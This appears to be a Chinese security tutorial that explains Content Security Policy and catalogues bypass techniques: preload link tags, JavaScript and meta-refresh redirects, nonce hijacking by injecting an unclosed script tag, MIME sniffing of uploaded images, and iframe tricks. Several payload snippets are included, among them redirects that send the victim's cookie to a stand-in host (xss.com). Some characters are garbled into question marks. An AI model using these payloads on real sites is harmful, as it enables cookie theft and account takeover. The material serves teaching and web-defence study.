基本概念:
CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
CSP的特点就是它是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
常见绕过方式:
1.利用页面预加载:
浏览器为了增强??体验,让浏览器更有效率,就有?个预加载的功能,?体是利?浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术?细分为DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5??预加载是?link标签的rel属性来指定的。如果csp头有 unsafe-inline,则?预加载的?式可以向外界发出请求,例如
<!-- 预加载某个?? --> <link rel=‘prefetch‘ href=‘http://xxxx‘><!-- firefox --> <link rel=‘prerender‘ href=‘http://xxxx‘><!-- chrome --> <!-- 预加载某个图? --> <link rel=‘prefetch‘ href=‘http://xxxx/x.jpg‘> <!-- DNS 预解析 --> <link rel="dns-prefetch" href="http://xxxx"> <!-- 特定?件类型预加载 --> <link rel=‘preload‘ href=‘//xxxxx/xx.js‘><!-- chrome -->
2.利用302重定向:
1.利用url跳转可以回避严格的CSP
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script> window.location="http://www.xss.com/x.php?c=[cookie]"; </script>
2.在 default-src ‘none’ 的情况下,可以使用 meta 标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
3.<a> 标签配合站内的某些可控 JS 点击操作来跳转
<script> $(#foo).click()</script><a id="foo" href="xxxxx.com">
4.利用网站本身的跳转接口
http://foo.com/jmp.php?url=attack.com
3.利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:
Content-Security-Policy: default-src ‘none‘;script-src ‘nonce-abc‘
那么当脚本插入点为如下的情况时
<p>插入点</p> <script id="aa" nonce="abc">document.write(‘CSP‘);</script>
可以插入
<script src=//14.rs a="
这样会拼成一个新的script标签,其中的src可以*设定
<p><script src=//14.rs a="</p> <script id="aa" nonce="abc">document.write(‘CSP‘);</script>
4.MIME Sniff(利用上传文件)
举例来说,csp禁?跨站读取脚本,但是可以跨站读img,那么传?个 含有脚本的img,再<script href=‘http://xxx.com/xx.jpg‘>,这?csp认为是?个img,绕过了检查,如果?站没有回正确的mime type,浏览器会进?猜测,就可能作为脚本加载该img。
5.利用iframe标签
1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
<iframe src="B"></iframe>
2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如http://xxx页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src ‘unsafe-inline‘" src="http://xxx"></iframe>